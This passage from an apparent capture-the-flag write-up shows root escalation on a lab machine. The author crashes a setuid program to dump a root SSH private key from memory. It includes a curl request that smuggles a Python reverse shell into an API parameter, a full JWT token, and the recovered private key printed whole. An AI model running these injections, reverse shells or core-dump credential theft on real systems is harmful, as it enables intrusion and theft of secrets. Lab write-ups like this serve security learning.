words++;
lines++;
}
snprintf(summary, 256, "Total characters = %d\nTotal words = %d\nTotal lines = %d\n", characters, words, lines);
printf("\n%s", summary);
}
int main()
{
char path[100];
int res;
struct stat path_s;
char summary[4096];
printf("Enter source file/directory name: ");
scanf("%99s", path);
getchar();
stat(path, &path_s);
if(S_ISDIR(path_s.st_mode))
dircount(path, summary);
else
filecount(path, summary);
// drop privs to limit file write
setuid(getuid());
// Enable coredump generation
prctl(PR_SET_DUMPABLE, 1);
printf("Save results a file? [y/N]: ");
res = getchar();
if (res == 121 || res == 89) {
printf("Path: ");
scanf("%99s", path);
FILE *fp = fopen(path, "a");
if (fp != NULL) {
fputs(summary, fp);
fclose(fp);
} else {
printf("Could not open %s for writing\n", path);
}
}
return 0;
}
Looking att the source code for a while it seems. The user can tell it what file or directory to use. The executable escalate privileges and read through files and directories then it drops the priveleges and ask the user if it should write a report to a file.
It uses a file pointer to read through files and count characters and words but it does not seem as the file is ever closed. There´s also a comment in the source code that says that it enables core dumps.
The theory here is to use the program to read a sensitive file with root privileges and then crash the program to make it dump all it´s memory. Hopefully we can then read the sensitive data from that dump.
Let´s try to run the program, go straight for the juice and see what we get.
$ ./count
./count
Enter source file/directory name: /root/.ssh/id_rsa
/root/.ssh/id_rsa
Total characters = 2602
Total words = 45
Total lines = 39
Save results a file? [y/N]: y
y
Path: /tmp/test
/tmp/test
$ cat /tmp/test
cat /tmp/test
Total characters = 2602
Total words = 45
Total lines = 39
The program obviously seems to work. There´s a id_rsa file there and we can read it. Now we need to crash the program. We spend about an hour here trying to give the program strange character in the path, recursive symlinks and some more stuff but we did not get it to crash.
Time ran out since we were heading for an after work with food and beer. But during the car trip downtown we googled a bit and found this:
We can make the process core dump by sending a signal to it. How conveniant that it´s waiting for our input while the file is still open. Let´s try this. (The rest of this hack was performed on a pub while drinking beer :) )
$ ./count
./count
Enter source file/directory name: /root/.ssh/id_rsa
/root/.ssh/id_rsa
Total characters = 2602
Total words = 45
Total lines = 39
Save results a file? [y/N]:
The program is running, let´s keep it there and start another listener.
┌──(f1rstr3am㉿mullugutherum)-[~/Downloads/hack-the-box]
└─$ nc -lvp 1338
listening on [any] 1338 ...
Change our payload to the new port on 1338 and launch it.
┌──(f1rstr3am㉿mullugutherum)-[~/Downloads]
└─$ curl -X GET "http://10.129.250.252:3000/api/logs?file=.;%20export%20RHOST=%2210.10.14.48%22;export%20RPORT=1338;python3%20-c%20'import%20sys,socket,os,pty;s=socket.socket();s.connect((os.getenv(%22RHOST%22),int(os.getenv(%22RPORT%22))));%5Bos.dup2(s.fileno(),fd)%20for%20fd%20in%20(0,1,2)%5D;pty.spawn(%22sh%22)'" -H 'auth-token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJfaWQiOiI2MTgzZjUzMzlmY2NmZTA0NzNkM2NkMDUiLCJuYW1lIjoidGhlYWRtaW4iLCJlbWFpbCI6ImhhY2tlckBjeWJpeC5zZSIsImlhdCI6MTYzNjAzODgwMX0.l4cxsadw3WUt8bI-iCeWNkcq7q4Sba2TYe2y4Ut7QjA'
We get another reverse shell.
┌──(f1rstr3am㉿mullugutherum)-[~/Downloads/hack-the-box]
└─$ nc -lvp 1338
listening on [any] 1338 ...
10.129.250.252: inverse host lookup failed: Unknown host
connect to [10.10.14.48] from (UNKNOWN) [10.129.250.252] 43000
$
Let’s find out the pid of our count process.
$ ps -a
ps -a
PID TTY TIME CMD
32970 pts/0 00:00:00 count
33005 pts/1 00:00:00 ps
So now we want to send SIGABRT to the process 32970 and hopefully it will then crash. A quick google shows that SIGABRT is signal 6. Let´s do it.
$ kill -6 32970
kill -6 32970
And what happened to our process?
$ ./count
./count
Enter source file/directory name: /root/.ssh/id_rsa
/root/.ssh/id_rsa
Total characters = 2602
Total words = 45
Total lines = 39
Save results a file? [y/N]: Aborted (core dumped)
Seems like we succeeded. Let´s check out the dump.
$ ls /var/crash
ls /var/crash
_opt_count.0.crash _opt_count.1000.crash _opt_countzz.0.crash
$ ls -la /var/crash
ls -la /var/crash
total 92
drwxrwxrwt 2 root root 4096 Nov 4 16:55 .
drwxr-xr-x 14 root root 4096 Aug 13 05:12 ..
-rw-r----- 1 root root 27203 Oct 6 18:01 _opt_count.0.crash
-rw-r----- 1 dasith dasith 31268 Nov 4 16:55 _opt_count.1000.crash
-rw-r----- 1 root root 24048 Oct 5 14:24 _opt_countzz.0.crash
$ cat /var/crash/_opt_count.1000.crash
cat /var/crash/_opt_count.1000.crash
ProblemType: Crash
Architecture: amd64
Date: Thu Nov 4 16:55:27 2021
DistroRelease: Ubuntu 20.04
ExecutablePath: /opt/count
ExecutableTimestamp: 1633601037
ProcCmdline: ./count
ProcCwd: /opt
ProcEnviron:
PATH=(custom, no user)
LANG=en_US.UTF-8
SHELL=/bin/sh
ProcMaps:
562331402000-562331403000 r--p 00000000 fd:00 393236 /opt/count
562331403000-562331404000 r-xp 00001000 fd:00 393236 /opt/count
562331404000-562331405000 r--p 00002000 fd:00 393236 /opt/count
562331405000-562331406000 r--p 00002000 fd:00 393236 /opt/count
562331406000-562331407000 rw-p 00003000 fd:00 393236 /opt/count
56233226e000-56233228f000 rw-p 00000000 00:00 0 [heap]
7f58ff0da000-7f58ff0ff000 r--p 00000000 fd:00 55911 /usr/lib/x86_64-linux-gnu/libc-2.31.so
7f58ff0ff000-7f58ff277000 r-xp 00025000 fd:00 55911 /usr/lib/x86_64-linux-gnu/libc-2.31.so
7f58ff277000-7f58ff2c1000 r--p 0019d000 fd:00 55911 /usr/lib/x86_64-linux-gnu/libc-2.31.so
7f58ff2c1000-7f58ff2c2000 ---p 001e7000 fd:00 55911 /usr/lib/x86_64-linux-gnu/libc-2.31.so
7f58ff2c2000-7f58ff2c5000 r--p 001e7000 fd:00 55911 /usr/lib/x86_64-linux-gnu/libc-2.31.so
7f58ff2c5000-7f58ff2c8000 rw-p 001ea000 fd:00 55911 /usr/lib/x86_64-linux-gnu/libc-2.31.so
7f58ff2c8000-7f58ff2ce000 rw-p 00000000 00:00 0
7f58ff2d7000-7f58ff2d8000 r--p 00000000 fd:00 55880 /usr/lib/x86_64-linux-gnu/ld-2.31.so
7f58ff2d8000-7f58ff2fb000 r-xp 00001000 fd:00 55880 /usr/lib/x86_64-linux-gnu/ld-2.31.so
7f58ff2fb000-7f58ff303000 r--p 00024000 fd:00 55880 /usr/lib/x86_64-linux-gnu/ld-2.31.so
7f58ff304000-7f58ff305000 r--p 0002c000 fd:00 55880 /usr/lib/x86_64-linux-gnu/ld-2.31.so
7f58ff305000-7f58ff306000 rw-p 0002d000 fd:00 55880 /usr/lib/x86_64-linux-gnu/ld-2.31.so
7f58ff306000-7f58ff307000 rw-p 00000000 00:00 0
7fff37c38000-7fff37c59000 rw-p 00000000 00:00 0 [stack]
7fff37dd6000-7fff37dd9000 r--p 00000000 00:00 0 [vvar]
7fff37dd9000-7fff37dda000 r-xp 00000000 00:00 0 [vdso]
ffffffffff600000-ffffffffff601000 --xp 00000000 00:00 0 [vsyscall]
ProcStatus:
Name: count
Umask: 0022
State: S (sleeping)
Tgid: 32970
Ngid: 0
Pid: 32970
PPid: 1919
TracerPid: 0
Uid: 1000 1000 1000 1000
Gid: 1000 1000 1000 1000
FDSize: 64
Groups: 1000
NStgid: 32970
NSpid: 32970
NSpgid: 32970
NSsid: 1919
VmPeak: 2488 kB
VmSize: 2488 kB
VmLck: 0 kB
VmPin: 0 kB
VmHWM: 592 kB
VmRSS: 592 kB
RssAnon: 68 kB
RssFile: 524 kB
RssShmem: 0 kB
VmData: 180 kB
VmStk: 132 kB
VmExe: 8 kB
VmLib: 1644 kB
VmPTE: 44 kB
VmSwap: 0 kB
HugetlbPages: 0 kB
CoreDumping: 1
THP_enabled: 1
Threads: 1
SigQ: 0/15392
SigPnd: 0000000000000000
ShdPnd: 0000000000000000
SigBlk: 0000000000000000
SigIgn: 0000000001001000
SigCgt: 0000000000000000
CapInh: 0000000000000000
CapPrm: 0000000000000000
CapEff: 0000000000000000
CapBnd: 0000003fffffffff
CapAmb: 0000000000000000
NoNewPrivs: 0
Seccomp: 0
Speculation_Store_Bypass: thread vulnerable
Cpus_allowed: 1
Cpus_allowed_list: 0
Mems_allowed: 00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000001
Mems_allowed_list: 0
voluntary_ctxt_switches: 4
nonvoluntary_ctxt_switches: 10
Signal: 6
Uname: Linux 5.4.0-89-generic x86_64
UserGroups: N/A
CoreDump: base64
H4sICAAAAAAC/0NvcmVEdW1wAA==
7Z0HYFvF/cefbAccZxnIYosVAklseduAQR6y5S3vwbBlSbZky5KsYcuBNmYnhIAZbcM2/VMIpYDbAk0pwxBoA2UYaCFAaU0LNC2UGihpmP7/Tvc7W+8iJU4IHfT3gZfvu9/9bt+7d3oaXmMoL4rRaBRBnHK6Mh1SFL2yK3olW1k65c8ZnBXBERibG9muEWm1aNDqU45rCHNIjKwsXagoHdp1Uroo6afKE+n0+5jONPN6HhAqB+1te5nOhPbxZanqdDGSSvVsQ/vwvMmmNRHKM+2aLtSfHrRPLFCnEwwuiVyeSOc5MXK64bhd0inh6RJXRk4XbRxEOq2UTiep3J/DmM60l+nGMN2glK5N0l3mSyw3eFZFHodo81qP6QZXRe4XXZRxF+lGkqOMX5R6inR63YzryecnpjPtZbo2TNe2l+k8ol+2ZE2q0u3hehALU9sb6nS7GfdQihFMNySl2009Q3N7VCyEbZOMPaVj3iYNT1tQVWNQRHuR8HPB04OKsubAaf2qxPfxuW2fx8PDdh4e7kD1cx1s5lokLvk8vqYdIWf4Zajpk/k/PoqPMS4BI+9Iaxki/NIwLPKPP/vJUN+vQLv+t1HWiiiItYb18Vo42AwSfazUYOSB+pBsj+WH3LcWd8DlD8szKTlk0c68FruH1Q2KUkqKS2ojjT/jjUFet38VrE56Da+HqNMxIhKvBzGNJz9bH5qBU3XGiIMwaEUV1dfjfV7sG7LDymTgFFSmpjWun/FSHWejatN4fnMwLPpJ3nbMk+LnS2G8u03NmUNR7/TyOXiYlN/RqBNX8vgFGP45+suw9nVBWYbykiLRp6IPp07EHkje04gw7lmm7qFiD4N7khhhF3uUNsku9iAerlNTSuwV5Hu/COO9/QRhF/d6vHffJCok7uV4b/6zsIt7tUmyi3sx3lv/KuzininfA0UY73FT/SDueTp+Tzl+qn/wHoP3qJVT/YN2vAetQnOy2+Pnl/fenQZ83mSnoz05mJ3Zmpm+yulwBYKrOl0BZrSsSk1KS0nyub/hbtb/aCdcX2L4tSCuvzVR1tRBuLgnJ2MiR/4LEfdLoVqztsPhtJ2hPXMgufLsU7Thvmyj4dRa7Gav2eK3eX3aXG1qsoScv/ZJft1Fu7WoyjKZ/VHc/mth9yy2/Y2BoS4vqaxvUmhOfNPmxN5uj//9I0wQBEEQBEEQBEEQ+5810vv/sfj+v/YQHtajfTx3Og17/38e/Hu0clToGUpcmJ+s22LUKp7jx2K6pfigQVbxnpJQTZiK9w4ioZ2j1l3e14vyPtyP56h1l/cRtaIAtW6MVav8vmU8PlyOz5UU/ROldDGYbimmW5qr1gmNWkV/xuGRjfnJKldfTteEfrIWKmoVfV/7tt+6L+WZMN1mfENJVvF+kVBRXjWki/ReaDTE8NZgedHGYWeMWsU8Y4+UM9PZM2T+QDmYnbkqMz3J505KnaoXK4PNqeLKejZuo8wmhpOdL8Qwizef+e2Ds8pfuOYY8+13vnpH1u2nnTt+vchDgz4K+oc/g2LnRyhh74Mr54f+FdfFC7bnenbXD+ztnoMj2HOj2Hcq02MWzuoo/mui2C+JYrdGsT8fxW6IYr8iin00iv2RKPaBKPbvRLGfE8V+QhT7j6LYe6PYF2oi9393FP9fRbEviWI/Ooo9KYr94Cj246LUc04U/5vgODaCXWFvMLHLKlPx2fwBh1WxBR1+xWszW60Or9Lh9thcisXp9tlYsLXV4XNbcnJafRazq0Px+b0ui2cAzD6/2dLdarF3t3aYHU7FE/Czx95KR6fNb2FuTsjF47X4nQqzhKLAx6d0hLJWWCks/05ehVC+Zj/kawmaWzscLrPTsdoGQVZZVpbX39pjdrgUn8vjdbj8HRAVBDNL4eQnxeUl+QWtqUlZU2fpU2epSRlKa0ldRavV5rV1Onx+m7euosDpdtnqzO1OVk5nj9uF5bRy14iOClsfYvBf/l9s2Ln4bzo+biqkAU+2poh1conDMY+tWtvQtjAUjlX+iOHAYY7ZLOV76D+1jopxXMglUbKP4j4iXq+2i/C2M7iytS38PYfxMPtBYfbtYfZDwuwTYfbw9+p3htnDP6eiRTt7fyD8847Lw+zh67AuzB6+/8gOs4d/BFIfZg+/bxnD7OHvTZjC7OGfdWgKs88Os7eF2RPC7PYw+5wwuyfMHv7ZiGCYfV6YfTDMPj/MvjbMviDMPhRmTwyzbwyzh68Lw2H2hWH2TWH2RWH2kTD74jD75jD7kjD7aJh9aZh9a5j90DD7WJj9cIUgCOKbjwbvcgn1Lral0PrdWrYZ0sJuyGbxu70DSYpXWaX0K0HljCmU2Sf48KZT5/abnVqby+912HxaTq72BGtCja0z4DR7Q59OUEUUYs7T/hhRO9DT7nY6LFp4xdXtC4tQEk7w7VJBli9sWk1Om9ln01rsNku31tERMmthC+nz+7Rml1U74A5o7eY+m5btKLWwW+sDh06WMrz+qs9IQInc2u/2WsPrwa1QO5uqdiEMLkit9bkDXostVInkqR7Uusw9tlO0ygk5OT6lltfFF3CyCkqf3TCZ/XYQM+RX4A44rVqX289be4JP2+H2avu9Dr/D1Qllag6PPZW9lmL3ePv7k5MbQbf/fXJyFHQnKNvH2T+YnBwErf5wcnIC1L1jcjIRNjv+f05O6kCzP5mcZJ893gS6EXQz6AjoNtCtuCkS92bN6hpFE0zUHD73wPghDbez/dT4xORk6EMkhQeGbvvss3fpcGz9G5TN8pifWDR/aemCOf3xg8oZh51yctrxx4p8z4JDC3UN3y8wO/tQyVKwe8I2Zqysy+FohjYdxTZghvmJl8QUzDsgdlEcVCkUz15rNX48OTlLExYf8zmLDsU/A8dp0AePhsfHPqBhDuz5BtvbjkPfhDbWRfMTr4wpmb/0iljDfO2GOMP85ZfPKpyvu+QA4/zsCw8snq93zc/Om6/Lm788f742f/7S/PmJ+fPjQ/VPh/zjd0I9pHaVs3LBHr7fYW23on+4nSAIgiAIgviaSeffiRlNU3/HRujUMzPcrIpnZbfhwyLxLEk8FxXPkMSzPPFMUjwfPUKK//jLSfY1BWX4OF6+2DsOLuNh8QxxK8aLZ365WEHxrE886xLPztrMO
That’s a lot of data but not much that we can do something useful with. Let’s use a tool to make it a bit more readable.
$ apport-unpack /var/crash/_opt_count.1000.crash /tmp/crash
apport-unpack /var/crash/_opt_count.1000.crash /tmp/crash
$ ls /tmp/crash
ls /tmp/crash
Architecture DistroRelease ProblemType ProcEnviron Signal
CoreDump ExecutablePath ProcCmdline ProcMaps Uname
Date ExecutableTimestamp ProcCwd ProcStatus UserGroups
$ cat /tmp/crash/CoreDump
cat /tmp/crash/CoreDump
ELF>@@8▒��
p-�XX�f, 3@1#VX�Y,�XFpA@1#V�������B��X��&2#VB��X3]�7�+@�,�X�CORER@��ʀʀcount./count �IGISCORE�@CORE!��7����d@ @1#V8
�
�X��X��Xp'�X%p'�X,�X�,�X ,�X� ,�XP,�X�P,�X�,�X�p-�X�-�X�-�X�/�X�/�X00�X$@0�XP0�X,P0�X`0�X-/opt/count/opt/count/opt/count/opt/count/opt/count/usr/lib/x86_64-linux-gnu/libc-2.31.so/usr/lib/x86_64-linux-gnu/libc-2.31.so/usr/lib/x86_64-linux-gnu/libc-2.31.so/usr/lib/x86_64-linux-gnu/libc-2.31.so/usr/lib/x86_64-linux-gnu/libc-2.31.so/usr/lib/x86_64-linux-gnu/libc-2.31.so/usr/lib/x86_64-linux-gnu/ld-2.31.so/usr/lib/x86_64-linux-gnu/ld-2.31.so/usr/lib/x86_64-linux-gnu/ld-2.31.so/usr/lib/x86_64-linux-gnu/ld-2.31.so/usr/lib/x86_64-linux-gnu/ld-2.31.soCORE�����&2#V��&2#V a file? [y/N]: �l characters = 2//////////////// �,�Xile? [y/N]: Pat@LINUX�����&2#V��&2#V a file? [y/N]: �l characters = 2//////////////// �,�Xile?@@@@�▒▒▒ atELF> @�=@8
...
...
...
Ther´s a lot of binary unreadable stuff in there but if we scroll down just a bit we find:
-----BEGIN OPENSSH PRIVATE KEY-----
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
-----END OPENSSH PRIVATE KEY-----
Praise the dark lord!!! We got an open ssh private key that we can use to login to the system using ssh. Save the key into a file called id_rsa, fix the access to the file and use it with ssh.
┌──(f1rstr3am㉿mullugutherum)-[~]
└─$ chmod 600 id_rsa
┌──(f1rstr3am㉿mullugutherum)-[~]
└─$ ssh -i id_rsa [email protected]
The authenticity of host '10.129.250.252 (10.129.250.252)' can't be established.
ECDSA key fingerprint is SHA256:YNT38/psf6LrGXZJZYJVglUOKXjstxzWK5JJU7zzp3g.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.129.250.252' (ECDSA) to the list of known hosts.
Welcome to Ubuntu 20.04.3 LTS (GNU/Linux 5.4.0-89-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
System information as of Thu 04 Nov 2021 05:05:46 PM UTC
System load: 0.01 Processes: 219
Usage of /: 52.8% of 8.79GB Users logged in: 0
Memory usage: 14% IPv4 address for eth0: 10.129.250.252
Swap usage: 0%
0 updates can be applied immediately.
The list of available updates is more than a week old.
To check for new updates run: sudo apt update
Last login: Tue Oct 26 16:35:01 2021 from 10.10.14.6
root@secret:~# cat root.txt
deadbeefdeadbeefdeadbeefdeadbeef
We are in! We are root! We are happy.
Summary
We all like when a box is as realistic and close to reall world as possible, I do not concider the path to user real world like. It´s a bit strange but still good things to learn about like JWT and understanding the anatomy of a NodeJS application.
To be honest root is not that realistic either. But no one of us had really used a core dump to reveal sensitive information before. So we learned some new things there.
Until next time, happy hacking!
/f1rstr3am